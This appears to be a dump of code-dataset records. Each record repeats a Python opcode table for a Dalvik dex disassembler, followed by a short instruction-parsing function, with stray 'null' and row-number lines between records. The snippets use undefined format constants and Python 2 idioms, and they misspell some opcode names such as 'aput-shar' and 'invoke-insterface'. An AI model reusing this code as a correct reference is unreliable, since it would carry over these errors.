'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT10X(buffer, dex_object, pc_point, offset): return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1])
null
17,368
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT10T(buffer, dex_object, pc_point, offset): val, = struct.unpack_from("b", buffer, 1) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "%04x" % (val + offset))
null
17,369
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: 